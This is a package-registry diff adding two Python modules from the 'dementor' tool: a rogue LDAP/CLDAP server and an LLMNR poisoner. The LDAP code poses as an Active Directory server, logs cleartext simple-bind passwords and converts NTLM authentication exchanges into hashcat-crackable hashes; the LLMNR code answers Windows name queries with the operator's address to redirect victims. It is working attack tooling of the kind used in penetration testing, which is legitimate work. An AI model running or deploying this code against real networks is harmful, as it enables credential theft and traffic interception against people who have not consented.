dementor 1.0.0.dev0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,419 @@
1
+ # Copyright (c) 2025-Present MatrixEditor
2
+ #
3
+ # Permission is hereby granted, free of charge, to any person obtaining a copy
4
+ # of this software and associated documentation files (the "Software"), to deal
5
+ # in the Software without restriction, including without limitation the rights
6
+ # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
7
+ # copies of the Software, and to permit persons to whom the Software is
8
+ # furnished to do so, subject to the following conditions:
9
+ #
10
+ # The above copyright notice and this permission notice shall be included in all
11
+ # copies or substantial portions of the Software.
12
+ #
13
+ # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
14
+ # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
15
+ # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
16
+ # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
17
+ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
18
+ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
19
+ # SOFTWARE.
20
+ import ssl
21
+
22
+ from typing import Any, List, Tuple
23
+
24
+ from impacket.ntlm import NTLMAuthChallengeResponse, NTLMAuthNegotiate
25
+
26
+ from impacket.ldap.ldap import BindRequest, SearchRequest
27
+ from impacket.ldap.ldapasn1 import (
28
+ BindResponse,
29
+ LDAPMessage,
30
+ PartialAttribute,
31
+ PartialAttributeList,
32
+ SearchResultDone,
33
+ ResultCode,
34
+ SearchResultEntry,
35
+ UnbindRequest,
36
+ )
37
+ from pyasn1.codec.ber import encoder as BEREncoder, decoder as BERDecoder
38
+
39
+ from dementor.config import SessionConfig, TomlConfig, Attribute as A, get_value
40
+ from dementor.logger import ProtocolLogger
41
+ from dementor.servers import (
42
+ ThreadingTCPServer,
43
+ ThreadingUDPServer,
44
+ BaseProtoHandler,
45
+ ServerThread,
46
+ )
47
+ from dementor.database import _CLEARTEXT
48
+ from dementor.protocols.ntlm import (
49
+ NTLM_AUTH_CreateChallenge,
50
+ NTLM_AUTH_decode_string,
51
+ NTLM_AUTH_format_host,
52
+ NTLM_AUTH_to_hashcat_format,
53
+ )
54
+
55
+ # Taken from Microsoft's spec:
56
+ # - https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/3ed61e6c-cfdc-487d-9f02-5a3397be3772
57
+ LDAP_CAPABILITIES = [
58
+ # LDAP_CAP_ACTIVE_DIRECTORY_OID
59
+ # The presence of this capability indicates that the LDAP server is running
60
+ # Active Directory and is running as AD DS.
61
+ "1.2.840.113556.1.4.800",
62
+ # LDAP_CAP_ACTIVE_DIRECTORY_LDAP_INTEG_OID
63
+ # The presence of this capability indicates that the LDAP server on the DC is
64
+ # capable of signing and sealing on an NTLM authenticated connection, and that
65
+ # the server is capable of performing subsequent binds on a signed or sealed
66
+ # connection.
67
+ "1.2.840.113556.1.4.1791",
68
+ # NOTE: We use the earliest version possible
69
+ # LDAP_CAP_ACTIVE_DIRECTORY_V51_OID
70
+ # On an Active Directory DC operating as AD DS, the presence of this capability
71
+ # indicates that the LDAP server is running at least the Windows Server 2003
72
+ # operating system version of Active Directory.
73
+ "1.2.840.113556.1.4.1670",
74
+ ]
75
+
76
+ LDAP_DEFAULT_MECH = [
77
+ # SASL:
78
+ # GSS-SPNEGO, in turn, uses Kerberos or NTLM as the underlying authentication protocol.
79
+ "GSS-SPNEGO",
80
+ # GSSAPI, in turn, always uses Kerberos as the underlying authentication protocol.
81
+ "GSSAPI",
82
+ "EXTERNAL", # NOT IMPLEMENTED
83
+ "DIGEST-MD5", # NOT IMPLEMENTED
84
+ ]
85
+
86
+
87
+ class LDAPServerConfig(TomlConfig):
88
+ _section_ = "LDAP"
89
+ _fields_ = [
90
+ A("ldap_port", "Port"),
91
+ A("ldap_udp", "Connectionless"),
92
+ A("ldap_caps", "Capabilities", LDAP_CAPABILITIES),
93
+ A("ldap_mech", "SASLMechanisms", LDAP_DEFAULT_MECH),
94
+ A("ldap_timeout", "Timeout", 0),
95
+ A("ldap_fqdn", "FQDN", "DEMENTOR", section_local=False),
96
+ A("ldap_tls", "TLS", False),
97
+ A("ldap_tls_key", "Key", None, section_local=False),
98
+ A("ldap_tls_cert", "Cert", None, section_local=False),
99
+ A("ldap_error_code", "ErrorCode", "unwillingToPerform"),
100
+ ]
101
+
102
+ def set_ldap_error_code(self, value: str | int):
103
+ if isinstance(value, int):
104
+ self.ldap_error_code = value
105
+ else:
106
+ # TODO: add error reporting
107
+ self.ldap_error_code = ResultCode.namedValues[str(value)]
108
+
109
+
110
+ def apply_config(session) -> None:
111
+ ldap_config = []
112
+ if session.ldap_enabled:
113
+ for server_config in get_value("LDAP", "Server", default=[]):
114
+ ldap_config.append(LDAPServerConfig(server_config))
115
+
116
+ session.ldap_config = ldap_config
117
+
118
+
119
+ def create_server_threads(session) -> list:
120
+ servers = []
121
+ for config in session.ldap_config if session.ldap_enabled else []:
122
+ server_cls = CLDAPServer if config.ldap_udp else LDAPServer
123
+ servers.append(
124
+ ServerThread(
125
+ session,
126
+ server_cls,
127
+ server_address=("", config.ldap_port),
128
+ server_config=config,
129
+ )
130
+ )
131
+
132
+ return servers
133
+
134
+
135
+ class LDAPHandler(BaseProtoHandler):
136
+ def proto_logger(self) -> ProtocolLogger:
137
+ return ProtocolLogger(
138
+ extra={
139
+ "protocol": "LDAP",
140
+ "protocol_color": "violet",
141
+ "host": self.client_host,
142
+ "port": self.server.server_address[1],
143
+ }
144
+ )
145
+
146
+ def handle_NTLM_Negotiate(
147
+ self, req: LDAPMessage, nego_token_raw: bytes
148
+ ) -> None | bool:
149
+ negotiate = NTLMAuthNegotiate()
150
+ negotiate.fromString(nego_token_raw)
151
+
152
+ host_format = NTLM_AUTH_format_host(negotiate)
153
+ self.logger.debug("Starting NTLM-auth: %s", host_format)
154
+
155
+ fqdn = self.server.server_config.ldap_fqdn
156
+ if "." in fqdn:
157
+ name, domain = fqdn.split(".", 1)
158
+ else:
159
+ name, domain = fqdn, ""
160
+
161
+ ntlm_challenge = NTLM_AUTH_CreateChallenge(
162
+ negotiate,
163
+ name,
164
+ domain,
165
+ self.config.ntlm_challange,
166
+ disable_ess=not self.config.ntlm_ess,
167
+ )
168
+ # return bind success with challenge message
169
+ return self.server.bind_result(req, matched_dn=ntlm_challenge.getData())
170
+
171
+ def handle_NTLM_Auth(self, req: LDAPMessage, blob: bytes) -> None | bool:
172
+ auth_message = NTLMAuthChallengeResponse()
173
+ auth_message.fromString(blob)
174
+ hashversion, hashvalue = NTLM_AUTH_to_hashcat_format(
175
+ self.config.ntlm_challange,
176
+ auth_message["user_name"],
177
+ auth_message["domain_name"],
178
+ auth_message["lanman"],
179
+ auth_message["ntlm"],
180
+ auth_message["flags"],
181
+ )
182
+ domain_name = NTLM_AUTH_decode_string(
183
+ auth_message["domain_name"], auth_message["flags"]
184
+ )
185
+ user_name = NTLM_AUTH_decode_string(
186
+ auth_message["user_name"], auth_message["flags"]
187
+ )
188
+ self.config.db.add_auth(
189
+ self.client_address,
190
+ credtype=hashversion,
191
+ username=user_name,
192
+ password=hashvalue,
193
+ logger=self.logger,
194
+ domain=domain_name,
195
+ )
196
+
197
+ return self.server.bind_result(
198
+ req,
199
+ reason=self.server.server_config.ldap_error_code,
200
+ )
201
+
202
+ def handle_bindRequest(
203
+ self,
204
+ message: LDAPMessage,
205
+ bind_req: BindRequest,
206
+ ) -> LDAPMessage | List[LDAPMessage] | None | bool:
207
+ self.logger.debug(f"Got bind request from {self.client_host}")
208
+ response = None
209
+ bind_req = message["protocolOp"].getComponent()
210
+ bind_name = str(bind_req["name"])
211
+ bind_auth = bind_req["authentication"].getComponent()
212
+ match bind_req["authentication"].getName().lower():
213
+ case "simple":
214
+ # we should allow simple binds so that clients can fetch
215
+ # capabilities
216
+ if not bind_name and not str(bind_auth):
217
+ response = self.server.bind_result(message)
218
+ else:
219
+ response = self.server.bind_result(message, reason=0x01)
220
+ self.config.db.add_auth(
221
+ client=self.client_address,
222
+ credtype=_CLEARTEXT,
223
+ username=bind_name,
224
+ password=str(bind_auth),
225
+ logger=self.logger,
226
+ )
227
+
228
+ case "sicilynegotiate":
229
+ # NTLM sets the name of the bindrequest to NTLM
230
+ self.mech_name = bind_name.lower()
231
+ if self.mech_name == "ntlm":
232
+ return self.handle_NTLM_Negotiate(message, bytes(bind_auth))
233
+
234
+ case "sicilyresponse":
235
+ if self.mech_name == "ntlm":
236
+ return self.handle_NTLM_Auth(message, bytes(bind_auth))
237
+
238
+ return response
239
+
240
+ def handle_unbindRequest(
241
+ self,
242
+ message: LDAPMessage,
243
+ unbind_req: UnbindRequest,
244
+ ) -> bool:
245
+ # terminate connection
246
+ return False
247
+
248
+ def handle_searchRequest(
249
+ self,
250
+ message: LDAPMessage,
251
+ search_req: SearchRequest,
252
+ ) -> List[LDAPMessage]:
253
+ # handle capabilities
254
+ search_req = message["protocolOp"].getComponent()
255
+ search_filter = search_req["filter"]
256
+ response = []
257
+ if (
258
+ search_filter.getName() == "present"
259
+ and str(search_filter.getComponent()).lower() == "objectclass"
260
+ ):
261
+ attrs = list(map(lambda x: str(x).lower(), search_req["attributes"]))
262
+ if "supportedcapabilities" in attrs:
263
+ # only respond to supportedCapabilities
264
+ response.append(self.server.list_capabilities(message))
265
+
266
+ if "supportedsaslmechanisms" in attrs:
267
+ # only respond to supportedSASLMechanisms
268
+ response.append(self.server.list_sasl_mechs(message))
269
+
270
+ response.append(self.server.search_done(message))
271
+ return response
272
+
273
+ def handle_data(self, data, transport) -> None:
274
+ transport.settimeout(self.server.server_config.ldap_timeout)
275
+
276
+ self.mech_name = None
277
+
278
+ while True:
279
+ message = self.recv(8192)
280
+ if not message:
281
+ break
282
+
283
+ print(message)
284
+ func_name = f"handle_{message['protocolOp'].getName()}"
285
+ response = False
286
+
287
+ if hasattr(self, func_name):
288
+ response = getattr(self, func_name)(
289
+ message, message["protocolOp"].getComponent()
290
+ )
291
+
292
+ if response is False:
293
+ # REVISIT: log error
294
+ break
295
+
296
+ if response is not None:
297
+ self.send(response)
298
+
299
+ def recv(self, size: int) -> LDAPMessage | None:
300
+ try:
301
+ data = super().recv(8192) # UDP returns same data again
302
+ except TimeoutError:
303
+ # close connection
304
+ return None
305
+
306
+ try:
307
+ message, _ = BERDecoder.decode(data, asn1Spec=LDAPMessage())
308
+ except Exception as e:
309
+ self.logger.error(f"Failed to decode LDAP packet: {e}")
310
+ return
311
+
312
+ return message
313
+
314
+ def send(self, data) -> None:
315
+ # TODO: add debug logging
316
+ if isinstance(data, list):
317
+ data = b"".join([BEREncoder.encode(x) for x in data])
318
+ else:
319
+ data = BEREncoder.encode(data)
320
+ return super().send(data)
321
+
322
+
323
+ class LDAPServerMixin:
324
+ server_config: Any
325
+
326
+ def list_capabilities(self, req: LDAPMessage) -> LDAPMessage:
327
+ entry = self.search_entry(
328
+ "supportedCapabilities",
329
+ self.server_config.ldap_caps,
330
+ )
331
+ return self.new_message(req, entry)
332
+
333
+ def list_sasl_mechs(self, req: LDAPMessage) -> LDAPMessage:
334
+ entry = self.search_entry(
335
+ "supportedSASLMechanisms",
336
+ self.server_config.ldap_mech,
337
+ )
338
+ return self.new_message(req, entry)
339
+
340
+ def search_done(self, req, result_code: int = 0x00) -> LDAPMessage:
341
+ result = SearchResultDone()
342
+ result["resultCode"] = 0x00 # SUCCESS
343
+ result["matchedDN"] = ""
344
+ result["diagnosticMessage"] = ""
345
+ return self.new_message(req, result)
346
+
347
+ def search_entry(self, entry_type: str, vals: List[str]) -> SearchResultEntry:
348
+ entry = SearchResultEntry()
349
+ entry["objectName"] = "" # <root>
350
+
351
+ attributes = PartialAttributeList()
352
+ attrib = PartialAttribute()
353
+ attrib["type"] = entry_type
354
+ attrib["vals"].extend(vals)
355
+ attributes.append(attrib)
356
+ entry["attributes"] = attributes
357
+ return entry
358
+
359
+ def bind_result(
360
+ self,
361
+ req,
362
+ reason: int = 0x00,
363
+ matched_dn: str | bytes | None = None,
364
+ ) -> LDAPMessage:
365
+ bind = BindResponse()
366
+ bind["resultCode"] = reason # SUCCESS
367
+ bind["matchedDN"] = matched_dn or ""
368
+ bind["diagnosticMessage"] = ""
369
+ return self.new_message(req, bind)
370
+
371
+ def new_message(self, req, op) -> LDAPMessage:
372
+ message = LDAPMessage()
373
+ message["messageID"] = req["messageID"]
374
+ message["protocolOp"].setComponentByType(op.getTagSet(), op)
375
+ return message
376
+
377
+
378
+ class LDAPServer(ThreadingTCPServer, LDAPServerMixin):
379
+ default_port = 389
380
+ default_handler_class = LDAPHandler
381
+ service_name = "LDAP"
382
+
383
+ def __init__(
384
+ self,
385
+ config: SessionConfig,
386
+ server_address: Tuple[str, int] | None = None,
387
+ RequestHandlerClass: type | None = None,
388
+ server_config: LDAPServerConfig | None = None,
389
+ ) -> None:
390
+ self.server_config = server_config
391
+ super().__init__(config, server_address, RequestHandlerClass)
392
+
393
+ def server_bind(self) -> None:
394
+ if self.server_config.ldap_tls:
395
+ cert_path = self.server_config.ldap_tls_cert
396
+ key_path = self.server_config.ldap_tls_key
397
+ self.context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
398
+ self.context.load_cert_chain(cert_path, key_path)
399
+ # TODO: raise error
400
+ if cert_path and key_path:
401
+ self.socket = self.context.wrap_socket(self.socket, server_side=True)
402
+
403
+ super().server_bind()
404
+
405
+
406
+ class CLDAPServer(ThreadingUDPServer, LDAPServerMixin):
407
+ default_port = 389
408
+ default_handler_class = LDAPHandler
409
+ service_name = "CLDAP"
410
+
411
+ def __init__(
412
+ self,
413
+ config: SessionConfig,
414
+ server_address: Tuple[str, int] | None = None,
415
+ RequestHandlerClass: type | None = None,
416
+ server_config: LDAPServerConfig | None = None,
417
+ ) -> None:
418
+ self.server_config = server_config
419
+ super().__init__(config, server_address, RequestHandlerClass)
@@ -0,0 +1,143 @@
1
+ # Copyright (c) 2025-Present MatrixEditor
2
+ #
3
+ # Permission is hereby granted, free of charge, to any person obtaining a copy
4
+ # of this software and associated documentation files (the "Software"), to deal
5
+ # in the Software without restriction, including without limitation the rights
6
+ # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
7
+ # copies of the Software, and to permit persons to whom the Software is
8
+ # furnished to do so, subject to the following conditions:
9
+ #
10
+ # The above copyright notice and this permission notice shall be included in all
11
+ # copies or substantial portions of the Software.
12
+ #
13
+ # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
14
+ # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
15
+ # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
16
+ # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
17
+ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
18
+ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
19
+ # SOFTWARE.
20
+ import socket
21
+ import struct
22
+
23
+ from scapy.layers import llmnr, dns
24
+
25
+ from dementor.protocols.mdns import build_dns_answer
26
+ from dementor.servers import ThreadingUDPServer, ServerThread, BaseProtoHandler
27
+ from dementor.config import SessionConfig, TomlConfig, Attribute as A
28
+ from dementor.logger import ProtocolLogger
29
+ from dementor.filters import BlacklistConfigMixin, WhitelistConfigMixin, in_scope
30
+
31
+
32
+ # --- Protocol Interface ---
33
+ class LLMNRConfig(TomlConfig, BlacklistConfigMixin, WhitelistConfigMixin):
34
+ _section_ = "LLMNR"
35
+ _fields_ = (
36
+ [A("llmnr_answer_name", "AnswerName", None)]
37
+ + BlacklistConfigMixin._extra_fields_
38
+ + WhitelistConfigMixin._extra_fields_
39
+ )
40
+
41
+
42
+ def apply_config(session: SessionConfig) -> None:
43
+ session.llmnr_config = TomlConfig.build_config(LLMNRConfig)
44
+ pass
45
+
46
+
47
+ def create_server_threads(session: SessionConfig) -> list:
48
+ if not session.llmnr_enabled:
49
+ return []
50
+
51
+ return [ServerThread(session, LLMNRServer)]
52
+
53
+
54
+ LLMNR_IPV4_ADDR = llmnr._LLMNR_IPv4_mcast_addr
55
+ LLMNR_IPV6_ADDR = llmnr._LLMNR_IPv6_mcast_Addr
56
+
57
+
58
+ class LLMNRPoisoner(BaseProtoHandler):
59
+ def proto_logger(self) -> ProtocolLogger:
60
+ return ProtocolLogger(
61
+ extra={
62
+ "protocol": "LLMNR",
63
+ "protocol_color": "light_sky_blue3",
64
+ "host": self.client_host,
65
+ "port": 5355, # should be fixed
66
+ }
67
+ )
68
+
69
+ def handle_data(self, data: bytes, transport) -> None:
70
+ packet = llmnr.LLMNRQuery(data)
71
+ if packet.qdcount > 0:
72
+ host = self.client_host
73
+ config = self.config.llmnr_config
74
+ # query sent by windows client
75
+ for question in packet.qd:
76
+ # similar to mdns but here we don't have to check for .local
77
+ qname = question.qname.decode(errors="replace").removesuffix(".")
78
+ qtype = dns.dnsqtypes.get(question.qtype)
79
+
80
+ # Whitelist+Blacklist filters
81
+ if not in_scope(qname, config) or not in_scope(host, config):
82
+ # REVISIT: maybe log ignored requests via option
83
+ continue
84
+
85
+ self.logger.display(f"Query for [i]{qname}[/i] (type: {qtype})")
86
+ if self.config.analysis:
87
+ continue
88
+
89
+ self.send_poisoned_answer(packet, question, transport)
90
+
91
+ def send_poisoned_answer(self, req, question: dns.DNSQR, transport) -> None:
92
+ # check if we can send a response
93
+ if question.qtype == 28 and not self.config.ipv6:
94
+ self.logger.highlight(
95
+ "Client requested AAAA record (IPv6) but local config does not "
96
+ "specify IPv6 address. Ignoring..."
97
+ )
98
+ return
99
+
100
+ if question.qtype == 1 and not self.config.ipv4:
101
+ self.logger.highlight(
102
+ "Client requested A record (IPv4) but local config does not "
103
+ "specify IPv4 address. Ignoring..."
104
+ )
105
+ return
106
+
107
+ # build response packet with our IP in answer RR
108
+ response = build_dns_answer(req.id, question, self.config)
109
+ response.qd = [question] # question must be present
110
+
111
+ answer_name = self.config.llmnr_config.llmnr_answer_name
112
+ if answer_name:
113
+ response.an[0].rrname = answer_name
114
+
115
+ transport.sendto(response.build(), self.client_address)
116
+ text = f"Sent poisoned answer to {self.client_host}"
117
+ if answer_name:
118
+ text = f"{text} ([bold yellow]spoofed name: {answer_name}[/bold yellow])"
119
+ self.logger.success(text)
120
+
121
+
122
+ class LLMNRServer(ThreadingUDPServer):
123
+ default_port = 5355
124
+ default_handler_class = LLMNRPoisoner
125
+ service_name = "LLMNR"
126
+
127
+ def server_bind(self) -> None:
128
+ self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
129
+ self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
130
+
131
+ if self.config.ipv4:
132
+ # join IPv4 mDNS multicast group
133
+ mreq = socket.inet_aton(LLMNR_IPV4_ADDR) + socket.inet_aton(
134
+ self.config.ipv4
135
+ )
136
+ self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)
137
+
138
+ if self.config.ipv6:
139
+ mreq = socket.inet_pton(socket.AF_INET6, LLMNR_IPV6_ADDR)
140
+ mreq += struct.pack("@I", socket.if_nametoindex(self.config.interface))
141
+ self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
142
+
143
+ super().server_bind()